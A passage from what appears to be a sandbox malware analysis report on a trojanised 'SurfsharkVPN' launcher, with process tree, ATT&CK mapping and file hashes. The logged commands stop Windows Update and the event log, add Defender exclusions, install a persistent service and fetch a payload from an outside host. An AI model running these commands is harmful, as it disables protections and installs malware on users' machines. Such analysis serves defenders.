      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:7132
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:4364
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:5748
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:744
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2816
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:7116
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5712
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:6928
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:5912
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:5692
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:5736
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:5600
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:744
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:4396
    - - C:\Users\Admin\AppData\Roaming\services\3plugin29563
        
        C:\Users\Admin\AppData\Roaming\services\3plugin29563
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:4420
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 856
        6⤵
        Program crash
        
        PID:5736
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 908
        6⤵
        Program crash
        
        PID:5552
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 984
        6⤵
        Program crash
        
        PID:5704
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 1020
        6⤵
        Program crash
        
        PID:5460
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 1020
        6⤵
        Program crash
        
        PID:5624
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 1008
        6⤵
        Program crash
        
        PID:5680
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 1164
        6⤵
        Program crash
        
        PID:4724
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 1224
        6⤵
        Program crash
        
        PID:3784
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 1252
        6⤵
        Program crash
        
        PID:1556
      - C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 684
        7⤵
        Program crash
        
        PID:7040
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 680
        7⤵
        Program crash
        
        PID:5412
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 720
        7⤵
        Program crash
        
        PID:6612
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 744
        7⤵
        Program crash
        
        PID:4904
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 932
        7⤵
        Program crash
        
        PID:5492
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 952
        7⤵
        Program crash
        
        PID:5420
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 948
        7⤵
        Program crash
        
        PID:6336
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 1048
        7⤵
        Program crash
        
        PID:6556
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 1056
        7⤵
        Program crash
        
        PID:6996
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 1396
        7⤵
        Program crash
        
        PID:6472
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 748
        7⤵
        Program crash
        
        PID:6128
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 916
        6⤵
        Program crash
        
        PID:6200
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 6648 -ip 6648
1⤵
PID:6856

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\SurfsharkVPN-7_8\" -spe -an -ai#7zMap8144:94:7zEvent6686
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4420 -ip 4420
1⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4420 -ip 4420
1⤵
PID:5268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4420 -ip 4420
1⤵
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4420 -ip 4420
1⤵
PID:5584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4420 -ip 4420
1⤵
PID:5728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4420 -ip 4420
1⤵
PID:2008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4420 -ip 4420
1⤵
PID:2760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4420 -ip 4420
1⤵
PID:5824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4420 -ip 4420
1⤵
PID:1828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4420 -ip 4420
1⤵
PID:6204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 6256 -ip 6256
1⤵
PID:6408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 6256 -ip 6256
1⤵
PID:6848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 6256 -ip 6256
1⤵
PID:7036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 6256 -ip 6256
1⤵
PID:4976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 6256 -ip 6256
1⤵
PID:5880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6256 -ip 6256
1⤵
PID:6672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 6256 -ip 6256
1⤵
PID:6352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 6256 -ip 6256
1⤵
PID:7060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 6256 -ip 6256
1⤵
PID:7020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6256 -ip 6256
1⤵
PID:6704

C:\Users\Admin\Downloads\SurfsharkVPN-7_8\Launcher.exe
"C:\Users\Admin\Downloads\SurfsharkVPN-7_8\Launcher.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2976

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6216
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:3632
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:6288
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1444
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5216
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6176
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5588
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1336
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2524
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:6832
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3796
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:6784
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6532

C:\Users\Admin\Downloads\SurfsharkVPN-7_8\Launcher.exe
"C:\Users\Admin\Downloads\SurfsharkVPN-7_8\Launcher.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6296

C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:1396
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 436
  2⤵
  - Program crash
  PID:6960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1396 -ip 1396
1⤵
PID:6412

C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:5324
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 432
  2⤵
  - Program crash
  PID:3316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5324 -ip 5324
1⤵
PID:6044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 6256 -ip 6256
1⤵
PID:6904

C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:7108
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 236
  2⤵
  - Program crash
  PID:2012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 7108 -ip 7108
1⤵
PID:6540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
eeaa8087eba2f63f31e599f6a7b46ef4

SHA1
f639519deee0766a39cfe258d2ac48e3a9d5ac03

SHA256
50fe80c9435f601c30517d10f6a8a0ca6ff8ca2add7584df377371b5a5dbe2d9

SHA512
eaabfad92c84f422267615c55a863af12823c5e791bdcb30cabe17f72025e07df7383cf6cf0f08e28aa18a31c2aac5985cf5281a403e22fbcc1fb5e61c49fc3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b9569e123772ae290f9bac07e0d31748

SHA1
5806ed9b301d4178a959b26d7b7ccf2c0abc6741

SHA256
20ab88e23fb88186b82047cd0d6dc3cfa23422e4fd2b8f3c8437546a2a842c2b

SHA512
cfad8ce716ac815b37e8cc0e30141bfb3ca7f0d4ef101289bddcf6ed3c579bc34d369f2ec2f2dab98707843015633988eb97f1e911728031dd897750b8587795

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

Filesize
502KB

MD5
845aecb7a7d06dadcd301e75c093b193

SHA1
80f26b6989593bce02158a3290eaad338132bab1

SHA256
dd9a93b61eddeedd7e95e26bb5bf40f15b1c89a191ec086fa53c27ffdd15415c

SHA512
a5bf34470b6f7d87c822e3c407c544051b3cf16d656a4d1162a18b354ca2a2328ecd43293589a4b0c0e76772445d551c759f9bdeff60a7a9aa290d962274f536

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
336B

MD5
6cdcc7b10e237fe2ddc88ad0c55cfaaa

SHA1
a128db33c50a4e733e07656e0a32460c20c52a4a

SHA256
1278df657a4811029be28a783ea49a243b2e4ebb2bd059727f6b31e0a80d0399

SHA512
8e53f778b309f2dcede206cd849823e0631df70100fbef44ef8922628f44e727bebb6b3655a2a67f826fec0223abc31977cbb83982a5001119b1a7f4fcafc019

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1005B

MD5
b2d1fdc1320246db14cf70e5cefcb979

SHA1
ef950bd940c6f4033f0b007bb83ba33b6f8da8f6

SHA256
4daac8ae8aa0d5d95fd5766aaf5ea51e905c8243dc5ca302c4cf0688bf99fef9

SHA512
835731a80189d6ead39587627be57e337f33f471519ac66462b2ebbfcf71cadbb69aa0efcd359414d945c53f3f33f52e37f8799bc330163d79a0bc144652e6e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
40e15ac860ea87f4682958a6c02bfc9f

SHA1
0b1143bf69a64cc3ed8e6ecaca6773028508a4ee

SHA256
caf0f49efc8926767ff925cabc54b5e20d11936c9fe4bf3317207d8d5ea29d71

SHA512
86536014aa93a884bef9b19d8c237201038ff5b7f0eb2ea166c2eda59551461e95d8689d95f3b284786bfc6c7d57e361fcd5e966871d37f6fc7ba1998c5ee2d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
0b170ec0b74cbd034ef814369965fe61

SHA1
eb63785a2152ce7cf9ffa61823e98a112887bbe1

SHA256
6a76fa65a7ea1ba6de8d656b4770449e865a2642460b00ef3d0b9e756515f600

SHA512
ae1e03841cf5c90b7008acd2f685cee7895c7e81d0f094d018f0e6aabef1177cde44033be7ba89252ff54423dffba6793635dbfbb852e7a47b274df0ab17696a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
a89bc1b2c951e1bd6adc1ba7a2265f5b

SHA1
560724d3e0e110b5a1e9ca2da4fbb18905176deb

SHA256
69149317d46bfa8e51f6dedbb6b173bda200490036328074629b8f878d3edaa1

SHA512
0b341a82900e411fec8eef3346e026fdad328d8d810d9f027b7b2d045a9c405eb2096c07dde0fbd0070d84f3f0f17670a228af50625735eee680f84acefc7ba2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
83f79e2c4b0fa13ff25ccd7da0a83427

SHA1
f1a29deee487bcb4fa566e184b361642c69e0010

SHA256
bba67bf0cb62dd79eee7ca10f0a9d886ddd9dac8a5133e681b6f60a5521a8af1

SHA512
e25c76e54a09fd30543557c1f76382d8fa9b94e795e09cbbe41b35f5e30b5ebe604359795ed687494ba45012464f5e9e473785b264466e9c82bfb90083aca9e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
d55e19d6fda41ecaa532fe76354068e5

SHA1
0ae47f485a7552a8eaa2ead1f1f59da01f213947

SHA256
2d3e144b0292096b28c3e316d6dfa595ed188b3974c289fc8163d681e8d06599

SHA512
85babe6b3fa8c8887b55e4f3a41dcf60757d89e628359a505c13964f78496d00ed17bbc8a184f85a9dfcc4b7e8da83e5ee98e97056eea5b5a61339052d1f35e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
c2d79b3f55d89373589811acab3cd442

SHA1
714406daee944ca3487beb25f640f2ca5161141a

SHA256
3f21e6ccd6234b5a91bcea5d966e48d313934de3b5997aa429560356107eccf6

SHA512
9507e2a0d2dcab9473b6e07a67aa558d593c55954de31c621f904763e24b082936f0ab7f94da112aeb60bfc5182fe39e28b0e44ed891d93ff885d064cf0d051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ewi0wbgd.wyn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

Filesize
12B

MD5
2a194f26d7abb7d02fdf4a7767b8c009

SHA1
55e5d97026cd9e584fa2bef4148c29976af3e1ed

SHA256
faa74bddcd7acf190d81ebb2b77c167617d671315eac4783ecebe7efa6a98ba5

SHA512
0d53107b8b726a79945e9a864d422b384dc7f04ac24c035f0f857726d3bdab5dd1887490938ee25f4e2f70265c00426bb8542808f5a5bc6ea4a04618186879ed

Download Submit
C:\Users\Admin\AppData\Roaming\services\0127871.rar

Filesize
2.9MB

MD5
3ba7655d55f35256e14307d9ab7f560c

SHA1
b5d14e76f894b643860e69f5a2d9308d4b0c1fcb

SHA256
262bc2b98e4579e3c97376b9f8b7c12f56b0cc75519914057a44b8fc580ded6c

SHA512
a73cda3b1d2cbb1cd7f320ee8b31659d2890a958392ef2ce83eacd320357d095680e160bc25efecd82726d541ce38bdc623a4ee75301fbe76e58b96aaab8dc2b

Download Submit
C:\Users\Admin\AppData\Roaming\services\02plugins23208.rar

Filesize
9.6MB

MD5
557b45a8dfe391ada925b428815343a7

SHA1
4cee18d01e3a1e3dfbce90a38b9f2687bdb73e90

SHA256
da6879957bd50c9fb45a0bed227f521f2398f65dc1a31904a494ec764d3759d3

SHA512
42efc37605923263fa5a215c645e56fcc998c4ee5a24e3086911e23ba55f90162ec3be5f908e0ac065c697bd5d3dc4aceb460fa4aa19cea9999db2708ba75bbd

Download Submit
C:\Users\Admin\AppData\Roaming\services\03plugins10863.rar

Filesize
2.9MB

MD5
e8891a8b9d48c36ace38613a3ee58e65

SHA1
45b5010846dc9386c57f6a0f3715af951683b0be

SHA256
64cb56c7af6ec8628a343e0e1d47e52f9353aae5835f243d177577d7a3ccd05c

SHA512
9ec8424ba8d8773d581dd95dc4f70ad9ed529e4640f6061ad8a668966124ee39d734466bf14210d71afdd773c98302e490a47ac89dde1fa6ad1981baf00aa0a4

Download Submit
C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe

Filesize
467KB

MD5
ab2d2914e268ac8754e408bdd6c109cd

SHA1
936a1529158b699ebfaf97e937f17936d321920c

SHA256
0f5978c1e5026feea6e28485ceb99b48105d73a77517faf40c1e57d638a5cdd4

SHA512
c421cb6c41640e1866b891c941151903ad51e04a437b6d90faa6c732f2e98ef4172631453f9a60dcd8c0e4ffd39ec8c13277961c06a4119b10aff91037318fcf

Download Submit
C:\Users\Admin\AppData\Roaming\services\2plugin27724

Filesize
7.2MB

MD5
59dd26d0a0781afb903b222a340a135a

SHA1
dc7eb315e84f9e828376d5421108685d997099aa

SHA256
d782048432be8fe4ce0fbcaaf54724202ac39a293c2a6ae5cda2c7f04aa2c967

SHA512
e4baf948f1023fc04aa9344ed0bde468566a429c4807f584204a6de95113de78dd2faaedad56e064f3023510fe774386a844becd0f9453d53884e31d4b345ed1

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin29563

Filesize
399KB

MD5
5886235e78709ba971a3b4cdfdc336ee

SHA1
856e9688e3e087489d6d4ef02b7317d3cbc1fff7

SHA256
059701aa60117a1adc3c7fbaed00f05e72c97b28bcbd2456805dd6531654d970

SHA512
0699b612c13187f89e71b0008221dddab30c3adaef353c21b40fda72f2487eea874f2475f6e9a9a5a23855f20548dae537fa97fcbeabfc1f266f5219dacdb244

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11.zip

Filesize
26.0MB

MD5
603c893c8bce586c7741491e8c622722

SHA1
7a8fc15b41f35f65fce10553e9a84a55b7367d01

SHA256
5cf84af206813d6a3abfe9db7c65d83413fc646c20e7b525748e831766ffc5d9

SHA512
7c7901c37835f315a7fec11bffa3c12a234c93dd574116b5eba24229411dfb27c10fe1eb388f41943a868195561c0c967dca3b90718fbbc208a66d0c5693821d

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\Launcher.dll

Filesize
3KB

MD5
84ac8cf047eb0d115d6134573ea2b347

SHA1
9e494ff3290c4d021c7dc4b71b068d30485dd92c

SHA256
c8515089831c29cdb6fd82018eccad2878fb74a5393d628faa393ba63931bbe4

SHA512
99415a376cb61adaee687d6b75610d9248b9b8f91960867ec804c42e25890e1f96eedc6f4cb7f9659dde015b1d20da28ac3550147ff9194ed434bf4fb1313388

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\Launcher.exe

Filesize
364KB

MD5
93fde4e38a84c83af842f73b176ab8dc

SHA1
e8c55cc160a0a94e404f544b22e38511b9d71da8

SHA256
fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

SHA512
48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\Launcher.exe.manifest

Filesize
1KB

MD5
1b6de83d3f1ccabf195a98a2972c366a

SHA1
09f03658306c4078b75fa648d763df9cddd62f23

SHA256
e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

SHA512
e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\data\AppInfo\services\Launhcer.dll

Filesize
3KB

MD5
6cced0a38b185030835bf8857633c159

SHA1
4f1604d5e67894fb6b054f8ac82122fa8ad69ed6

SHA256
f15ae3d7b9d5310f53939148cf8fe58c8078086e934628ad2c3a611a59181e36

SHA512
576c4e937b13050ca408445242db266e43c02dc1ec8ea567994594bd624c276bb20c46b94cf54cfe1ac36091bb4cf9959df1403b4838ab15fa10c75f119e18cc

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\data\AppInfo\services\Launhcer.exe

Filesize
364KB

MD5
e5c00b0bc45281666afd14eef04252b2

SHA1
3b6eecf8250e88169976a5f866d15c60ee66b758

SHA256
542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

SHA512
2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\data\AppInfo\services\Launhcer.exe.manifest

Filesize
1KB

MD5
f0fc065f7fd974b42093594a58a4baef

SHA1
dbf28dd15d4aa338014c9e508a880e893c548d00

SHA256
d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

SHA512
8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\data\AppInfo\services\WinRAR.exe

Filesize
2.1MB

MD5
f59f4f7bea12dd7c8d44f0a717c21c8e

SHA1
17629ccb3bd555b72a4432876145707613100b3e

SHA256
f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

SHA512
